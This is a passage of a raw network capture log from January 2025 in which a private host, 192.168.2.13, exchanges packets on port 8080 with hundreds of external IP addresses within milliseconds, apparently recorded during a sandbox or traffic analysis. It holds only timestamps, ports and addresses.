Jan 26, 2025 01:43:29.679378986 CET	47566	8080	192.168.2.13	31.211.225.133
Jan 26, 2025 01:43:29.679378986 CET	47566	8080	192.168.2.13	95.64.182.236
Jan 26, 2025 01:43:29.679382086 CET	8080	47566	94.36.100.207	192.168.2.13
Jan 26, 2025 01:43:29.679387093 CET	47566	8080	192.168.2.13	94.98.98.234
Jan 26, 2025 01:43:29.679388046 CET	47566	8080	192.168.2.13	31.89.122.105
Jan 26, 2025 01:43:29.679389954 CET	47566	8080	192.168.2.13	31.170.144.230
Jan 26, 2025 01:43:29.679389954 CET	8080	47566	62.98.18.63	192.168.2.13
Jan 26, 2025 01:43:29.679389954 CET	47566	8080	192.168.2.13	31.194.60.141
Jan 26, 2025 01:43:29.679399014 CET	47566	8080	192.168.2.13	62.18.79.42
Jan 26, 2025 01:43:29.679400921 CET	8080	47566	31.195.142.132	192.168.2.13
Jan 26, 2025 01:43:29.679409027 CET	8080	47566	85.0.74.247	192.168.2.13
Jan 26, 2025 01:43:29.679418087 CET	8080	47566	95.159.17.131	192.168.2.13
Jan 26, 2025 01:43:29.679420948 CET	47566	8080	192.168.2.13	94.36.100.207
Jan 26, 2025 01:43:29.679420948 CET	47566	8080	192.168.2.13	62.98.18.63
Jan 26, 2025 01:43:29.679420948 CET	47566	8080	192.168.2.13	31.195.142.132
Jan 26, 2025 01:43:29.679429054 CET	8080	47566	62.89.114.122	192.168.2.13
Jan 26, 2025 01:43:29.679435015 CET	47566	8080	192.168.2.13	85.0.74.247
Jan 26, 2025 01:43:29.679435015 CET	47566	8080	192.168.2.13	95.159.17.131
Jan 26, 2025 01:43:29.679439068 CET	8080	47566	62.127.45.209	192.168.2.13
Jan 26, 2025 01:43:29.679442883 CET	8080	47566	94.188.252.99	192.168.2.13
Jan 26, 2025 01:43:29.679446936 CET	8080	47566	95.146.179.177	192.168.2.13
Jan 26, 2025 01:43:29.679450989 CET	8080	47566	94.79.168.90	192.168.2.13
Jan 26, 2025 01:43:29.679455042 CET	8080	47566	94.110.195.238	192.168.2.13
Jan 26, 2025 01:43:29.679465055 CET	8080	47566	62.244.9.117	192.168.2.13
Jan 26, 2025 01:43:29.679476023 CET	8080	47566	62.123.146.3	192.168.2.13
Jan 26, 2025 01:43:29.679490089 CET	47566	8080	192.168.2.13	62.244.9.117
Jan 26, 2025 01:43:29.679491043 CET	47566	8080	192.168.2.13	94.110.195.238
Jan 26, 2025 01:43:29.679524899 CET	47566	8080	192.168.2.13	62.127.45.209
Jan 26, 2025 01:43:29.679527044 CET	47566	8080	192.168.2.13	95.146.179.177
Jan 26, 2025 01:43:29.679527044 CET	47566	8080	192.168.2.13	62.89.114.122
Jan 26, 2025 01:43:29.679529905 CET	47566	8080	192.168.2.13	62.123.146.3
Jan 26, 2025 01:43:29.679532051 CET	47566	8080	192.168.2.13	94.188.252.99
Jan 26, 2025 01:43:29.679552078 CET	47566	8080	192.168.2.13	94.79.168.90
Jan 26, 2025 01:43:29.679663897 CET	8080	47566	85.153.30.122	192.168.2.13
Jan 26, 2025 01:43:29.679675102 CET	8080	47566	62.245.146.77	192.168.2.13
Jan 26, 2025 01:43:29.679688931 CET	47566	8080	192.168.2.13	85.153.30.122
Jan 26, 2025 01:43:29.679691076 CET	8080	47566	85.58.13.188	192.168.2.13
Jan 26, 2025 01:43:29.679696083 CET	47566	8080	192.168.2.13	62.245.146.77
Jan 26, 2025 01:43:29.679701090 CET	8080	47566	94.231.127.178	192.168.2.13
Jan 26, 2025 01:43:29.679709911 CET	8080	47566	95.152.167.58	192.168.2.13
Jan 26, 2025 01:43:29.679718018 CET	8080	47566	31.228.202.44	192.168.2.13
Jan 26, 2025 01:43:29.679721117 CET	47566	8080	192.168.2.13	85.58.13.188
Jan 26, 2025 01:43:29.679728031 CET	8080	47566	31.225.10.114	192.168.2.13
Jan 26, 2025 01:43:29.679734945 CET	47566	8080	192.168.2.13	95.152.167.58
Jan 26, 2025 01:43:29.679737091 CET	8080	47566	31.16.46.172	192.168.2.13
Jan 26, 2025 01:43:29.679747105 CET	8080	47566	95.9.13.221	192.168.2.13
Jan 26, 2025 01:43:29.679754019 CET	47566	8080	192.168.2.13	94.231.127.178
Jan 26, 2025 01:43:29.679754019 CET	47566	8080	192.168.2.13	31.228.202.44
Jan 26, 2025 01:43:29.679754972 CET	47566	8080	192.168.2.13	31.225.10.114
Jan 26, 2025 01:43:29.679755926 CET	8080	47566	85.116.128.104	192.168.2.13
Jan 26, 2025 01:43:29.679764032 CET	8080	47566	94.226.196.207	192.168.2.13
Jan 26, 2025 01:43:29.679774046 CET	8080	47566	62.98.11.50	192.168.2.13
Jan 26, 2025 01:43:29.679774046 CET	47566	8080	192.168.2.13	31.16.46.172
Jan 26, 2025 01:43:29.679783106 CET	8080	47566	31.154.99.22	192.168.2.13
Jan 26, 2025 01:43:29.679799080 CET	8080	47566	85.38.220.187	192.168.2.13
Jan 26, 2025 01:43:29.679800034 CET	47566	8080	192.168.2.13	62.98.11.50
Jan 26, 2025 01:43:29.679801941 CET	47566	8080	192.168.2.13	85.116.128.104
Jan 26, 2025 01:43:29.679807901 CET	8080	47566	85.252.123.41	192.168.2.13
Jan 26, 2025 01:43:29.679817915 CET	8080	47566	94.133.95.115	192.168.2.13
Jan 26, 2025 01:43:29.679826021 CET	8080	47566	31.121.97.24	192.168.2.13
Jan 26, 2025 01:43:29.679835081 CET	8080	47566	95.126.24.147	192.168.2.13
Jan 26, 2025 01:43:29.679842949 CET	8080	47566	62.35.82.33	192.168.2.13
Jan 26, 2025 01:43:29.679850101 CET	47566	8080	192.168.2.13	95.9.13.221
Jan 26, 2025 01:43:29.679851055 CET	47566	8080	192.168.2.13	94.226.196.207
Jan 26, 2025 01:43:29.679852962 CET	8080	47566	95.122.16.230	192.168.2.13
Jan 26, 2025 01:43:29.679856062 CET	47566	8080	192.168.2.13	31.154.99.22
Jan 26, 2025 01:43:29.679856062 CET	47566	8080	192.168.2.13	85.38.220.187
Jan 26, 2025 01:43:29.679857969 CET	47566	8080	192.168.2.13	31.121.97.24
Jan 26, 2025 01:43:29.679857969 CET	47566	8080	192.168.2.13	95.126.24.147
Jan 26, 2025 01:43:29.679861069 CET	47566	8080	192.168.2.13	94.133.95.115
Jan 26, 2025 01:43:29.679862022 CET	8080	47566	62.138.209.37	192.168.2.13
Jan 26, 2025 01:43:29.679872990 CET	8080	47566	94.207.102.137	192.168.2.13
Jan 26, 2025 01:43:29.679878950 CET	47566	8080	192.168.2.13	62.35.82.33
Jan 26, 2025 01:43:29.679881096 CET	8080	47566	62.217.218.183	192.168.2.13
Jan 26, 2025 01:43:29.679882050 CET	47566	8080	192.168.2.13	85.252.123.41
Jan 26, 2025 01:43:29.679882050 CET	47566	8080	192.168.2.13	95.122.16.230
Jan 26, 2025 01:43:29.679888964 CET	47566	8080	192.168.2.13	62.138.209.37
Jan 26, 2025 01:43:29.679892063 CET	8080	47566	95.163.59.146	192.168.2.13
Jan 26, 2025 01:43:29.679894924 CET	47566	8080	192.168.2.13	94.207.102.137
Jan 26, 2025 01:43:29.679903030 CET	8080	47566	85.13.203.241	192.168.2.13
Jan 26, 2025 01:43:29.679912090 CET	8080	47566	94.73.72.116	192.168.2.13
Jan 26, 2025 01:43:29.679919004 CET	47566	8080	192.168.2.13	62.217.218.183
Jan 26, 2025 01:43:29.679920912 CET	8080	47566	62.80.103.35	192.168.2.13
Jan 26, 2025 01:43:29.679929972 CET	8080	47566	95.246.140.82	192.168.2.13
Jan 26, 2025 01:43:29.679965019 CET	47566	8080	192.168.2.13	95.163.59.146
Jan 26, 2025 01:43:29.679970980 CET	47566	8080	192.168.2.13	85.13.203.241
Jan 26, 2025 01:43:29.679970980 CET	47566	8080	192.168.2.13	95.246.140.82
Jan 26, 2025 01:43:29.679972887 CET	47566	8080	192.168.2.13	62.80.103.35
Jan 26, 2025 01:43:29.679987907 CET	47566	8080	192.168.2.13	94.73.72.116
Jan 26, 2025 01:43:29.680172920 CET	8080	47566	95.112.56.24	192.168.2.13
Jan 26, 2025 01:43:29.680182934 CET	8080	47566	85.223.18.190	192.168.2.13
Jan 26, 2025 01:43:29.680191994 CET	8080	47566	85.230.219.225	192.168.2.13
Jan 26, 2025 01:43:29.680208921 CET	8080	47566	62.243.127.117	192.168.2.13
Jan 26, 2025 01:43:29.680208921 CET	47566	8080	192.168.2.13	95.112.56.24
Jan 26, 2025 01:43:29.680212975 CET	47566	8080	192.168.2.13	85.223.18.190
Jan 26, 2025 01:43:29.680221081 CET	47566	8080	192.168.2.13	85.230.219.225
Jan 26, 2025 01:43:29.680221081 CET	8080	47566	95.248.89.70	192.168.2.13
Jan 26, 2025 01:43:29.680232048 CET	8080	47566	85.196.0.104	192.168.2.13
Jan 26, 2025 01:43:29.680241108 CET	8080	47566	62.7.233.19	192.168.2.13
Jan 26, 2025 01:43:29.680246115 CET	47566	8080	192.168.2.13	62.243.127.117
Jan 26, 2025 01:43:29.680249929 CET	8080	47566	94.80.194.173	192.168.2.13
Jan 26, 2025 01:43:29.680255890 CET	47566	8080	192.168.2.13	85.196.0.104
Jan 26, 2025 01:43:29.680259943 CET	8080	47566	95.112.168.152	192.168.2.13
Jan 26, 2025 01:43:29.680262089 CET	47566	8080	192.168.2.13	95.248.89.70
Jan 26, 2025 01:43:29.680264950 CET	47566	8080	192.168.2.13	62.7.233.19
Jan 26, 2025 01:43:29.680269957 CET	8080	47566	85.194.71.78	192.168.2.13
Jan 26, 2025 01:43:29.680278063 CET	47566	8080	192.168.2.13	94.80.194.173
Jan 26, 2025 01:43:29.680280924 CET	8080	47566	94.232.154.78	192.168.2.13
Jan 26, 2025 01:43:29.680282116 CET	47566	8080	192.168.2.13	95.112.168.152
Jan 26, 2025 01:43:29.680289984 CET	8080	47566	31.60.205.171	192.168.2.13
Jan 26, 2025 01:43:29.680299997 CET	47566	8080	192.168.2.13	85.194.71.78
Jan 26, 2025 01:43:29.680301905 CET	8080	47566	62.76.155.0	192.168.2.13
Jan 26, 2025 01:43:29.680311918 CET	8080	47566	94.203.117.116	192.168.2.13
Jan 26, 2025 01:43:29.680319071 CET	47566	8080	192.168.2.13	94.232.154.78
Jan 26, 2025 01:43:29.680320978 CET	8080	47566	85.119.6.144	192.168.2.13
Jan 26, 2025 01:43:29.680330038 CET	8080	47566	31.173.200.138	192.168.2.13
Jan 26, 2025 01:43:29.680339098 CET	8080	47566	85.167.148.117	192.168.2.13
Jan 26, 2025 01:43:29.680346966 CET	8080	47566	62.244.248.253	192.168.2.13
Jan 26, 2025 01:43:29.680356026 CET	8080	47566	95.19.102.77	192.168.2.13
Jan 26, 2025 01:43:29.680360079 CET	47566	8080	192.168.2.13	85.119.6.144
Jan 26, 2025 01:43:29.680361032 CET	47566	8080	192.168.2.13	31.60.205.171
Jan 26, 2025 01:43:29.680365086 CET	8080	47566	62.254.182.25	192.168.2.13
Jan 26, 2025 01:43:29.680366993 CET	47566	8080	192.168.2.13	62.76.155.0
Jan 26, 2025 01:43:29.680366993 CET	47566	8080	192.168.2.13	31.173.200.138
Jan 26, 2025 01:43:29.680370092 CET	47566	8080	192.168.2.13	94.203.117.116
Jan 26, 2025 01:43:29.680375099 CET	47566	8080	192.168.2.13	85.167.148.117
Jan 26, 2025 01:43:29.680376053 CET	8080	47566	94.59.80.105	192.168.2.13
Jan 26, 2025 01:43:29.680376053 CET	47566	8080	192.168.2.13	62.244.248.253
Jan 26, 2025 01:43:29.680387020 CET	47566	8080	192.168.2.13	95.19.102.77
Jan 26, 2025 01:43:29.680392981 CET	8080	47566	94.104.231.153	192.168.2.13
Jan 26, 2025 01:43:29.680397034 CET	47566	8080	192.168.2.13	62.254.182.25
Jan 26, 2025 01:43:29.680402994 CET	8080	47566	62.48.242.250	192.168.2.13
Jan 26, 2025 01:43:29.680402994 CET	47566	8080	192.168.2.13	94.59.80.105
Jan 26, 2025 01:43:29.680412054 CET	8080	47566	31.162.29.39	192.168.2.13
Jan 26, 2025 01:43:29.680422068 CET	8080	47566	85.132.99.107	192.168.2.13
Jan 26, 2025 01:43:29.680424929 CET	47566	8080	192.168.2.13	94.104.231.153
Jan 26, 2025 01:43:29.680428982 CET	47566	8080	192.168.2.13	62.48.242.250
Jan 26, 2025 01:43:29.680430889 CET	8080	47566	31.163.144.52	192.168.2.13
Jan 26, 2025 01:43:29.680430889 CET	47566	8080	192.168.2.13	31.162.29.39
Jan 26, 2025 01:43:29.680440903 CET	8080	47566	94.69.195.78	192.168.2.13
Jan 26, 2025 01:43:29.680449009 CET	47566	8080	192.168.2.13	85.132.99.107
Jan 26, 2025 01:43:29.680452108 CET	8080	47566	85.157.19.184	192.168.2.13
Jan 26, 2025 01:43:29.680460930 CET	47566	8080	192.168.2.13	31.163.144.52
Jan 26, 2025 01:43:29.680464983 CET	47566	8080	192.168.2.13	94.69.195.78
Jan 26, 2025 01:43:29.680547953 CET	47566	8080	192.168.2.13	85.157.19.184
Jan 26, 2025 01:43:29.680691004 CET	8080	47566	31.234.2.55	192.168.2.13
Jan 26, 2025 01:43:29.680700064 CET	8080	47566	95.177.209.76	192.168.2.13
Jan 26, 2025 01:43:29.680708885 CET	8080	47566	62.154.231.31	192.168.2.13
Jan 26, 2025 01:43:29.680718899 CET	8080	47566	31.138.213.84	192.168.2.13
Jan 26, 2025 01:43:29.680726051 CET	47566	8080	192.168.2.13	31.234.2.55
Jan 26, 2025 01:43:29.680727959 CET	8080	47566	62.211.36.178	192.168.2.13
Jan 26, 2025 01:43:29.680728912 CET	47566	8080	192.168.2.13	95.177.209.76
Jan 26, 2025 01:43:29.680740118 CET	47566	8080	192.168.2.13	62.154.231.31
Jan 26, 2025 01:43:29.680741072 CET	8080	47566	62.7.184.174	192.168.2.13
Jan 26, 2025 01:43:29.680752039 CET	8080	47566	95.180.145.48	192.168.2.13
Jan 26, 2025 01:43:29.680769920 CET	8080	47566	31.249.47.242	192.168.2.13
Jan 26, 2025 01:43:29.680778980 CET	8080	47566	94.250.174.201	192.168.2.13
Jan 26, 2025 01:43:29.680788040 CET	8080	47566	62.233.241.140	192.168.2.13
Jan 26, 2025 01:43:29.680800915 CET	8080	47566	31.178.80.236	192.168.2.13
Jan 26, 2025 01:43:29.680802107 CET	47566	8080	192.168.2.13	62.7.184.174
Jan 26, 2025 01:43:29.680802107 CET	47566	8080	192.168.2.13	31.138.213.84
Jan 26, 2025 01:43:29.680803061 CET	47566	8080	192.168.2.13	62.211.36.178
Jan 26, 2025 01:43:29.680805922 CET	47566	8080	192.168.2.13	95.180.145.48
Jan 26, 2025 01:43:29.680809975 CET	8080	47566	85.18.173.235	192.168.2.13
Jan 26, 2025 01:43:29.680814981 CET	47566	8080	192.168.2.13	94.250.174.201
Jan 26, 2025 01:43:29.680814981 CET	47566	8080	192.168.2.13	31.249.47.242
Jan 26, 2025 01:43:29.680820942 CET	8080	47566	85.169.156.134	192.168.2.13
Jan 26, 2025 01:43:29.680823088 CET	47566	8080	192.168.2.13	62.233.241.140
Jan 26, 2025 01:43:29.680830002 CET	8080	47566	85.116.48.161	192.168.2.13
Jan 26, 2025 01:43:29.680838108 CET	47566	8080	192.168.2.13	85.18.173.235
Jan 26, 2025 01:43:29.680839062 CET	8080	47566	85.150.61.215	192.168.2.13
Jan 26, 2025 01:43:29.680845976 CET	47566	8080	192.168.2.13	85.169.156.134
Jan 26, 2025 01:43:29.680849075 CET	8080	47566	62.78.216.122	192.168.2.13
Jan 26, 2025 01:43:29.680852890 CET	47566	8080	192.168.2.13	31.178.80.236
Jan 26, 2025 01:43:29.680859089 CET	8080	47566	62.11.6.95	192.168.2.13
Jan 26, 2025 01:43:29.680859089 CET	47566	8080	192.168.2.13	85.116.48.161
Jan 26, 2025 01:43:29.680867910 CET	8080	47566	31.132.135.236	192.168.2.13
Jan 26, 2025 01:43:29.680870056 CET	47566	8080	192.168.2.13	85.150.61.215
Jan 26, 2025 01:43:29.680871010 CET	47566	8080	192.168.2.13	62.78.216.122
Jan 26, 2025 01:43:29.680877924 CET	8080	47566	94.182.66.80	192.168.2.13
Jan 26, 2025 01:43:29.680886030 CET	8080	47566	85.28.44.59	192.168.2.13
Jan 26, 2025 01:43:29.680888891 CET	47566	8080	192.168.2.13	62.11.6.95
Jan 26, 2025 01:43:29.680895090 CET	8080	47566	31.163.96.51	192.168.2.13
Jan 26, 2025 01:43:29.680901051 CET	47566	8080	192.168.2.13	31.132.135.236
Jan 26, 2025 01:43:29.680903912 CET	8080	47566	95.134.172.91	192.168.2.13
Jan 26, 2025 01:43:29.680907011 CET	47566	8080	192.168.2.13	94.182.66.80
Jan 26, 2025 01:43:29.680912971 CET	47566	8080	192.168.2.13	85.28.44.59
Jan 26, 2025 01:43:29.680913925 CET	8080	47566	85.132.57.246	192.168.2.13
Jan 26, 2025 01:43:29.680919886 CET	47566	8080	192.168.2.13	31.163.96.51
Jan 26, 2025 01:43:29.680923939 CET	8080	47566	94.236.173.101	192.168.2.13
Jan 26, 2025 01:43:29.680932999 CET	8080	47566	95.21.145.118	192.168.2.13
Jan 26, 2025 01:43:29.680942059 CET	47566	8080	192.168.2.13	95.134.172.91
Jan 26, 2025 01:43:29.680948973 CET	8080	47566	94.90.16.147	192.168.2.13
Jan 26, 2025 01:43:29.680958033 CET	8080	47566	62.86.132.58	192.168.2.13
Jan 26, 2025 01:43:29.680967093 CET	8080	47566	31.143.117.35	192.168.2.13
Jan 26, 2025 01:43:29.680999041 CET	47566	8080	192.168.2.13	85.132.57.246
Jan 26, 2025 01:43:29.681004047 CET	47566	8080	192.168.2.13	31.143.117.35
Jan 26, 2025 01:43:29.681004047 CET	47566	8080	192.168.2.13	62.86.132.58
Jan 26, 2025 01:43:29.681011915 CET	47566	8080	192.168.2.13	95.21.145.118
Jan 26, 2025 01:43:29.681011915 CET	47566	8080	192.168.2.13	94.90.16.147
Jan 26, 2025 01:43:29.681026936 CET	47566	8080	192.168.2.13	94.236.173.101
Jan 26, 2025 01:43:29.681135893 CET	8080	47566	31.96.165.91	192.168.2.13
Jan 26, 2025 01:43:29.681158066 CET	8080	47566	94.205.145.87	192.168.2.13
Jan 26, 2025 01:43:29.681166887 CET	8080	47566	85.127.235.254	192.168.2.13
Jan 26, 2025 01:43:29.681168079 CET	47566	8080	192.168.2.13	31.96.165.91
Jan 26, 2025 01:43:29.681175947 CET	8080	47566	85.180.172.41	192.168.2.13
Jan 26, 2025 01:43:29.681185961 CET	8080	47566	62.187.126.23	192.168.2.13
Jan 26, 2025 01:43:29.681195974 CET	8080	47566	94.73.236.43	192.168.2.13
Jan 26, 2025 01:43:29.681200981 CET	47566	8080	192.168.2.13	94.205.145.87
Jan 26, 2025 01:43:29.681200981 CET	47566	8080	192.168.2.13	85.127.235.254
Jan 26, 2025 01:43:29.681200981 CET	47566	8080	192.168.2.13	85.180.172.41
Jan 26, 2025 01:43:29.681204081 CET	8080	47566	31.252.193.204	192.168.2.13
Jan 26, 2025 01:43:29.681212902 CET	8080	47566	95.19.52.194	192.168.2.13
Jan 26, 2025 01:43:29.681214094 CET	47566	8080	192.168.2.13	62.187.126.23
Jan 26, 2025 01:43:29.681222916 CET	47566	8080	192.168.2.13	94.73.236.43
Jan 26, 2025 01:43:29.681224108 CET	8080	47566	31.45.234.76	192.168.2.13
Jan 26, 2025 01:43:29.681236982 CET	47566	8080	192.168.2.13	31.252.193.204
Jan 26, 2025 01:43:29.681241035 CET	8080	47566	94.235.10.122	192.168.2.13
Jan 26, 2025 01:43:29.681246042 CET	47566	8080	192.168.2.13	95.19.52.194
Jan 26, 2025 01:43:29.681252003 CET	8080	47566	31.211.203.133	192.168.2.13
Jan 26, 2025 01:43:29.681262970 CET	8080	47566	94.158.181.60	192.168.2.13
Jan 26, 2025 01:43:29.681272030 CET	8080	47566	94.81.81.182	192.168.2.13
Jan 26, 2025 01:43:29.681279898 CET	47566	8080	192.168.2.13	94.235.10.122
Jan 26, 2025 01:43:29.681281090 CET	8080	47566	85.106.208.16	192.168.2.13
Jan 26, 2025 01:43:29.681289911 CET	8080	47566	95.78.149.98	192.168.2.13
Jan 26, 2025 01:43:29.681298018 CET	8080	47566	31.175.182.209	192.168.2.13
Jan 26, 2025 01:43:29.681307077 CET	8080	47566	85.62.220.161	192.168.2.13
Jan 26, 2025 01:43:29.681307077 CET	47566	8080	192.168.2.13	31.45.234.76
Jan 26, 2025 01:43:29.681317091 CET	47566	8080	192.168.2.13	94.158.181.60
Jan 26, 2025 01:43:29.681317091 CET	8080	47566	95.56.39.76	192.168.2.13
Jan 26, 2025 01:43:29.681319952 CET	47566	8080	192.168.2.13	94.81.81.182
Jan 26, 2025 01:43:29.681325912 CET	8080	47566	62.143.70.158	192.168.2.13
Jan 26, 2025 01:43:29.681334972 CET	8080	47566	85.137.39.81	192.168.2.13
Jan 26, 2025 01:43:29.681339979 CET	47566	8080	192.168.2.13	31.175.182.209
Jan 26, 2025 01:43:29.681344032 CET	8080	47566	85.165.251.13	192.168.2.13
Jan 26, 2025 01:43:29.681344032 CET	47566	8080	192.168.2.13	95.56.39.76
Jan 26, 2025 01:43:29.681345940 CET	47566	8080	192.168.2.13	85.62.220.161
Jan 26, 2025 01:43:29.681346893 CET	47566	8080	192.168.2.13	62.143.70.158
Jan 26, 2025 01:43:29.681354046 CET	8080	47566	94.139.134.193	192.168.2.13
Jan 26, 2025 01:43:29.681363106 CET	8080	47566	31.232.129.88	192.168.2.13
Jan 26, 2025 01:43:29.681363106 CET	47566	8080	192.168.2.13	85.137.39.81
Jan 26, 2025 01:43:29.681365967 CET	47566	8080	192.168.2.13	85.106.208.16
Jan 26, 2025 01:43:29.681372881 CET	8080	47566	94.14.63.212	192.168.2.13
Jan 26, 2025 01:43:29.681377888 CET	47566	8080	192.168.2.13	85.165.251.13
Jan 26, 2025 01:43:29.681381941 CET	8080	47566	94.224.14.171	192.168.2.13
Jan 26, 2025 01:43:29.681391001 CET	8080	47566	62.204.49.79	192.168.2.13
Jan 26, 2025 01:43:29.681391001 CET	47566	8080	192.168.2.13	31.232.129.88
Jan 26, 2025 01:43:29.681397915 CET	47566	8080	192.168.2.13	31.211.203.133
Jan 26, 2025 01:43:29.681397915 CET	47566	8080	192.168.2.13	95.78.149.98
Jan 26, 2025 01:43:29.681399107 CET	8080	47566	94.161.72.106	192.168.2.13
Jan 26, 2025 01:43:29.681397915 CET	47566	8080	192.168.2.13	94.139.134.193
Jan 26, 2025 01:43:29.681397915 CET	47566	8080	192.168.2.13	94.14.63.212
Jan 26, 2025 01:43:29.681407928 CET	8080	47566	85.85.61.183	192.168.2.13
Jan 26, 2025 01:43:29.681415081 CET	47566	8080	192.168.2.13	94.224.14.171
Jan 26, 2025 01:43:29.681421995 CET	47566	8080	192.168.2.13	62.204.49.79
Jan 26, 2025 01:43:29.681427002 CET	47566	8080	192.168.2.13	94.161.72.106
Jan 26, 2025 01:43:29.681436062 CET	47566	8080	192.168.2.13	85.85.61.183
Jan 26, 2025 01:43:29.681615114 CET	8080	47566	85.0.126.67	192.168.2.13
Jan 26, 2025 01:43:29.681626081 CET	8080	47566	85.186.223.237	192.168.2.13
Jan 26, 2025 01:43:29.681633949 CET	8080	47566	85.136.69.210	192.168.2.13
Jan 26, 2025 01:43:29.681643009 CET	8080	47566	62.12.68.166	192.168.2.13
Jan 26, 2025 01:43:29.681648970 CET	47566	8080	192.168.2.13	85.0.126.67
Jan 26, 2025 01:43:29.681651115 CET	47566	8080	192.168.2.13	85.186.223.237
Jan 26, 2025 01:43:29.681652069 CET	8080	47566	94.205.73.221	192.168.2.13
Jan 26, 2025 01:43:29.681658983 CET	47566	8080	192.168.2.13	85.136.69.210
Jan 26, 2025 01:43:29.681672096 CET	8080	47566	94.232.19.179	192.168.2.13
Jan 26, 2025 01:43:29.681678057 CET	47566	8080	192.168.2.13	62.12.68.166
Jan 26, 2025 01:43:29.681679010 CET	47566	8080	192.168.2.13	94.205.73.221
Jan 26, 2025 01:43:29.681682110 CET	8080	47566	95.158.64.78	192.168.2.13
Jan 26, 2025 01:43:29.681691885 CET	8080	47566	94.146.23.94	192.168.2.13
Jan 26, 2025 01:43:29.681700945 CET	8080	47566	31.155.207.153	192.168.2.13
Jan 26, 2025 01:43:29.681704998 CET	47566	8080	192.168.2.13	94.232.19.179
Jan 26, 2025 01:43:29.681710005 CET	8080	47566	85.98.217.185	192.168.2.13
Jan 26, 2025 01:43:29.681718111 CET	8080	47566	85.88.195.94	192.168.2.13
Jan 26, 2025 01:43:29.681719065 CET	47566	8080	192.168.2.13	95.158.64.78
Jan 26, 2025 01:43:29.681719065 CET	47566	8080	192.168.2.13	94.146.23.94
Jan 26, 2025 01:43:29.681726933 CET	8080	47566	95.74.171.242	192.168.2.13
Jan 26, 2025 01:43:29.681727886 CET	47566	8080	192.168.2.13	31.155.207.153
Jan 26, 2025 01:43:29.681736946 CET	8080	47566	94.160.85.162	192.168.2.13
Jan 26, 2025 01:43:29.681741953 CET	47566	8080	192.168.2.13	85.98.217.185
Jan 26, 2025 01:43:29.681741953 CET	47566	8080	192.168.2.13	85.88.195.94
Jan 26, 2025 01:43:29.681747913 CET	8080	47566	62.119.68.152	192.168.2.13
Jan 26, 2025 01:43:29.681756020 CET	47566	8080	192.168.2.13	95.74.171.242
Jan 26, 2025 01:43:29.681756020 CET	8080	47566	31.95.184.206	192.168.2.13
Jan 26, 2025 01:43:29.681765079 CET	8080	47566	85.214.66.161	192.168.2.13
Jan 26, 2025 01:43:29.681768894 CET	47566	8080	192.168.2.13	94.160.85.162
Jan 26, 2025 01:43:29.681771994 CET	47566	8080	192.168.2.13	62.119.68.152
Jan 26, 2025 01:43:29.681775093 CET	8080	47566	95.36.12.220	192.168.2.13
Jan 26, 2025 01:43:29.681787014 CET	8080	47566	95.63.15.115	192.168.2.13
Jan 26, 2025 01:43:29.681790113 CET	47566	8080	192.168.2.13	31.95.184.206
Jan 26, 2025 01:43:29.681790113 CET	47566	8080	192.168.2.13	85.214.66.161
Jan 26, 2025 01:43:29.681794882 CET	8080	47566	85.106.241.106	192.168.2.13
Jan 26, 2025 01:43:29.681806087 CET	8080	47566	62.20.210.208	192.168.2.13
Jan 26, 2025 01:43:29.681807995 CET	47566	8080	192.168.2.13	95.36.12.220
Jan 26, 2025 01:43:29.681809902 CET	47566	8080	192.168.2.13	95.63.15.115
Jan 26, 2025 01:43:29.681813955 CET	8080	47566	95.39.34.48	192.168.2.13
Jan 26, 2025 01:43:29.681819916 CET	47566	8080	192.168.2.13	85.106.241.106
Jan 26, 2025 01:43:29.681823015 CET	8080	47566	62.116.64.65	192.168.2.13
Jan 26, 2025 01:43:29.681833029 CET	8080	47566	62.208.82.87	192.168.2.13
Jan 26, 2025 01:43:29.681839943 CET	47566	8080	192.168.2.13	62.20.210.208
Jan 26, 2025 01:43:29.681840897 CET	8080	47566	85.141.213.98	192.168.2.13
Jan 26, 2025 01:43:29.681842089 CET	47566	8080	192.168.2.13	95.39.34.48
Jan 26, 2025 01:43:29.681845903 CET	47566	8080	192.168.2.13	62.116.64.65
Jan 26, 2025 01:43:29.681852102 CET	8080	47566	31.214.37.8	192.168.2.13
Jan 26, 2025 01:43:29.681860924 CET	8080	47566	95.92.146.61	192.168.2.13
Jan 26, 2025 01:43:29.681863070 CET	47566	8080	192.168.2.13	85.141.213.98
Jan 26, 2025 01:43:29.681865931 CET	47566	8080	192.168.2.13	62.208.82.87
Jan 26, 2025 01:43:29.681869030 CET	8080	47566	62.26.242.184	192.168.2.13
Jan 26, 2025 01:43:29.681878090 CET	47566	8080	192.168.2.13	31.214.37.8
Jan 26, 2025 01:43:29.681879997 CET	8080	47566	95.99.121.28	192.168.2.13
Jan 26, 2025 01:43:29.681890011 CET	47566	8080	192.168.2.13	62.26.242.184
Jan 26, 2025 01:43:29.681895971 CET	47566	8080	192.168.2.13	95.92.146.61
Jan 26, 2025 01:43:29.681910038 CET	47566	8080	192.168.2.13	95.99.121.28
Jan 26, 2025 01:43:29.682111025 CET	8080	47566	31.84.102.104	192.168.2.13
Jan 26, 2025 01:43:29.682121038 CET	8080	47566	85.40.61.14	192.168.2.13
Jan 26, 2025 01:43:29.682128906 CET	8080	47566	95.146.236.250	192.168.2.13
Jan 26, 2025 01:43:29.682137966 CET	8080	47566	31.162.167.42	192.168.2.13
Jan 26, 2025 01:43:29.682145119 CET	47566	8080	192.168.2.13	31.84.102.104
Jan 26, 2025 01:43:29.682147980 CET	8080	47566	95.160.233.80	192.168.2.13
Jan 26, 2025 01:43:29.682149887 CET	47566	8080	192.168.2.13	85.40.61.14
Jan 26, 2025 01:43:29.682158947 CET	47566	8080	192.168.2.13	95.146.236.250
Jan 26, 2025 01:43:29.682167053 CET	8080	47566	95.212.168.40	192.168.2.13
Jan 26, 2025 01:43:29.682177067 CET	8080	47566	85.255.174.38	192.168.2.13
Jan 26, 2025 01:43:29.682178020 CET	47566	8080	192.168.2.13	95.160.233.80
Jan 26, 2025 01:43:29.682187080 CET	47566	8080	192.168.2.13	31.162.167.42
Jan 26, 2025 01:43:29.682187080 CET	8080	47566	95.36.84.191	192.168.2.13
Jan 26, 2025 01:43:29.682195902 CET	8080	47566	62.29.131.175	192.168.2.13
Jan 26, 2025 01:43:29.682203054 CET	47566	8080	192.168.2.13	95.212.168.40
Jan 26, 2025 01:43:29.682205915 CET	8080	47566	95.132.198.246	192.168.2.13
Jan 26, 2025 01:43:29.682212114 CET	47566	8080	192.168.2.13	95.36.84.191
Jan 26, 2025 01:43:29.682214975 CET	8080	47566	31.146.100.156	192.168.2.13
Jan 26, 2025 01:43:29.682224989 CET	47566	8080	192.168.2.13	85.255.174.38
Jan 26, 2025 01:43:29.682224989 CET	47566	8080	192.168.2.13	62.29.131.175
